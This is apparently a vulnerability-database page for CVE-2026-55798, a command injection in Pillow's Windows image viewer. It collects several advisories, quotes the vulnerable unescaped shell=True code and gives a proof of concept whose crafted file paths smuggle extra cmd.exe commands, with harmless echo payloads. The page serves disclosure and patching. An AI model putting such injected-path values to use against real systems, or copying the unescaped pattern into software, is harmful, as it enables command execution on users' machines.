CVE-2026-55798
Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path
Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- High
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
4.5
Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path
Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.
- Record
CVE-2026-55798- CVSS 3.1
- 4.5 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L - Weakness
- CWE-78
- Updated
- 2026-11-02
EUVDEUVD-2026-41898
4.5
Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.
- Record
EUVD-2026-41898- CVSS 3.1
- 4.5 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4x4j-2g7c-83w6
4.5
Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path
1. Summary
WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most
importantly a double-quote (") that breaks out of the wrapping, followed by & — allow
injection of arbitrary cmd.exe commands.
The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter.
The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this
protection, despite shlex.quote being already imported on line 21 of ImageShow.py.
2. Vulnerable Code
File: src/PIL/ImageShow.py, lines 133–150
class WindowsViewer(Viewer):
format = "PNG"
options = {"compress_level": 1, "save_all": True}
def get_command(self, file: str, **options: Any) -> str:
return (
f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping
"&& ping -n 4 127.0.0.1 >NUL "
f'&& del /f "{file}"' # ← same path, unescaped again
)
def show_file(self, path: str, **options: Any) -> int:
if not os.path.exists(path):
raise FileNotFoundError
subprocess.Popen(
self.get_command(path, **options),
shell=True, # ← shell=True
creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
) # nosec # ← Bandit warning suppressed manually
return 1
Contrast with macOS — SAFE (line 164–168):
class MacViewer(Viewer):
def get_command(self, file: str, **options: Any) -> str:
command = "open -a Preview.app"
command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
return command # ← shlex.quote() applied
Cross-platform summary:
| Platform | Class | shlex.quote()? | shell=True? | Safe? |
|----------|----------------|------------------|---------------|-------|
| macOS | MacViewer | Yes (line 168) | No (list args) | ✅ Yes |
| Linux | UnixViewer | Yes (line 207) | No (list args) | ✅ Yes |
| Windows | WindowsViewer| No (line 134–137) | Yes (line 148) | ❌ No |
shlex.quote is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.
3. Proof of Concept
A full working PoC is at poc_pillow_injection.py. Key parts:
Part A — Injection string construction (static, no execution):
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found)
# ├─ & echo PWNED → INJECTED COMMAND
# └─ & echo "" && ping ... → continues
Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):
import os, tempfile
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")
# Craft injection: payload writes a marker file (harmless)
payload = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')
# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)
# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)
assert os.path.exists(marker) # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read() # PASSES
# → CONFIRMED: arbitrary command injection via get_command()
- Record
GHSA-4x4j-2g7c-83w6- CVSS 3.1
- 4.5 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L - Weakness
- CWE-78
- Updated
- 2026-11-02
NVD
4.5
Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.
- Record
CVE-2026-55798- CVSS 3.1
- 4.5 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L - Weakness
- CWE-78
- Updated
- 2026-11-02
OSV
4.5
Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path
Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.
- Record
CVE-2026-55798- CVSS 3.1
- 4.5 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVGHSA-4x4j-2g7c-83w6
4.5
Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path
1. Summary
WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most
importantly a double-quote (") that breaks out of the wrapping, followed by & — allow
injection of arbitrary cmd.exe commands.
The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter.
The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this
protection, despite shlex.quote being already imported on line 21 of ImageShow.py.
2. Vulnerable Code
File: src/PIL/ImageShow.py, lines 133–150
class WindowsViewer(Viewer):
format = "PNG"
options = {"compress_level": 1, "save_all": True}
def get_command(self, file: str, **options: Any) -> str:
return (
f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping
"&& ping -n 4 127.0.0.1 >NUL "
f'&& del /f "{file}"' # ← same path, unescaped again
)
def show_file(self, path: str, **options: Any) -> int:
if not os.path.exists(path):
raise FileNotFoundError
subprocess.Popen(
self.get_command(path, **options),
shell=True, # ← shell=True
creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
) # nosec # ← Bandit warning suppressed manually
return 1
Contrast with macOS — SAFE (line 164–168):
class MacViewer(Viewer):
def get_command(self, file: str, **options: Any) -> str:
command = "open -a Preview.app"
command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
return command # ← shlex.quote() applied
Cross-platform summary:
| Platform | Class | shlex.quote()? | shell=True? | Safe? |
|----------|----------------|------------------|---------------|-------|
| macOS | MacViewer | Yes (line 168) | No (list args) | ✅ Yes |
| Linux | UnixViewer | Yes (line 207) | No (list args) | ✅ Yes |
| Windows | WindowsViewer| No (line 134–137) | Yes (line 148) | ❌ No |
shlex.quote is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.
3. Proof of Concept
A full working PoC is at poc_pillow_injection.py. Key parts:
Part A — Injection string construction (static, no execution):
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found)
# ├─ & echo PWNED → INJECTED COMMAND
# └─ & echo "" && ping ... → continues
Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):
import os, tempfile
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")
# Craft injection: payload writes a marker file (harmless)
payload = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')
# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)
# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)
assert os.path.exists(marker) # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read() # PASSES
# → CONFIRMED: arbitrary command injection via get_command()
- Record
GHSA-4x4j-2g7c-83w6- CVSS 3.1
- 4.5 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L - Weakness
- CWE-78
- Updated
- 2026-11-02
Show 9 moreShow less
OSVPYSEC-2026-2257
4.5
Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.
- Record
PYSEC-2026-2257- CVSS 3.1
- 4.5 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-55798
4.5
Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.
- Record
UBUNTU-CVE-2026-55798- CVSS 3.1
- 4.5 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L - Updated
- 2026-11-02
OSVBIT-pillow-2026-55798 No score
Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path
Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.
- Record
BIT-pillow-2026-55798- Updated
- 2026-11-02
OSVCLSA-2026-1786515922 No score
TuxCare security update for pillow (9 CVEs)
TuxCare rebuilt pillow to address 9 CVEs. Fixed in 11.2.1.post4+tuxcare.
- Record
CLSA-2026-1786515922- Updated
- 2026-11-02
OSVCLSA-2026-1787718630 No score
TuxCare security update for pillow (3 CVEs)
TuxCare rebuilt pillow to address 3 CVEs. Fixed in 10.4.0.post6+tuxcare.
- Record
CLSA-2026-1787718630- Updated
- 2026-11-02
OSVCLSA-2026-1787903381 No score
TuxCare security update for pillow (1 CVE)
TuxCare rebuilt pillow to address 1 CVE. Fixed in 9.5.0.post4+tuxcare.
- Record
CLSA-2026-1787903381- Updated
- 2026-11-02
OSVCLSA-2026-1788345043 No score
TuxCare security update for pillow (1 CVE)
TuxCare rebuilt pillow to address 1 CVE. Fixed in 8.4.0.post4+tuxcare.
- Record
CLSA-2026-1788345043- Updated
- 2026-11-02
OSVCLSA-2026-1788863918 No score
TuxCare security update for pillow (1 CVE)
TuxCare rebuilt pillow to address 1 CVE. Fixed in 9.4.0.post6+tuxcare.
- Record
CLSA-2026-1788863918- Updated
- 2026-11-02
OSVCLSA-2026-1790674233 No score
TuxCare security update for pillow (14 CVEs)
TuxCare rebuilt pillow to address 14 CVEs. Fixed in 11.3.0.post5+tuxcare.
- Record
CLSA-2026-1790674233- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pillowPyPI |
before 12.3.0 | 12.3.0 |
pillowBitnami |
before 12.3.0 | 12.3.0 |
pillowTuxCare:PyPI From an advisory covering 9 CVEs |
11.2.1 up to 11.2.1.post4+tuxcare, plus listed versions 11.2.1.post1+tuxcare11.2.1.post2+tuxcare11.2.1.post3+tuxcare |
11.2.1.post4+tuxcare |
pillowTuxCare:PyPI From an advisory covering 3 CVEs |
10.4.0 up to 10.4.0.post6+tuxcare, plus listed versions 10.4.0.post1+tuxcare10.4.0.post2+tuxcare10.4.0.post3+tuxcare10.4.0.post4+tuxcare10.4.0.post5+tuxcare |
10.4.0.post6+tuxcare |
pillowTuxCare:PyPI |
9.5.0 up to 9.5.0.post4+tuxcare, plus listed versions 9.5.0.post1+tuxcare9.5.0.post2+tuxcare9.5.0.post3+tuxcare |
9.5.0.post4+tuxcare |
pillowTuxCare:PyPI |
8.4.0 up to 8.4.0.post4+tuxcare, plus listed versions 8.4.0.post1+tuxcare8.4.0.post2+tuxcare8.4.0.post3+tuxcare |
8.4.0.post4+tuxcare |
pillowTuxCare:PyPI |
9.4.0 up to 9.4.0.post6+tuxcare, plus listed versions 9.4.0.post1+tuxcare9.4.0.post2+tuxcare9.4.0.post3+tuxcare9.4.0.post4+tuxcare9.4.0.post5+tuxcare |
9.4.0.post6+tuxcare |
pillowTuxCare:PyPI From an advisory covering 14 CVEs |
11.3.0 up to 11.3.0.post5+tuxcare, plus listed versions 11.3.0.post1+tuxcare11.3.0.post2+tuxcare11.3.0.post3+tuxcare11.3.0.post4+tuxcare |
11.3.0.post5+tuxcare |
pillowPyPI |
before 12.3.0, plus listed versions 1.01.11.21.31.4 Show 45 moreShow less1.51.61.7.01.7.11.7.21.7.31.7.41.7.51.7.61.7.71.7.810.0.010.0.110.1.010.2.010.3.010.4.011.0.011.1.011.2.111.3.012.0.012.1.012.1.112.2.02.0.02.1.02.2.02.2.12.2.22.3.02.3.12.3.22.4.02.5.02.5.12.5.22.5.32.6.02.6.12.6.22.7.02.8.02.8.12.8.2 |
12.3.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-55798 is a medium vulnerability (CVSS 4.5) in Python Pillow, published July 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.18%, the 7th percentile. Fixed in pillow 12.3.0.
References
github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6
github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a
github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4
github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f
github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst
nvd.nist.gov/vuln/detail/CVE-2026-55798
Show 6 moreShow less
Left out here: 56 versions. The JSON record has them.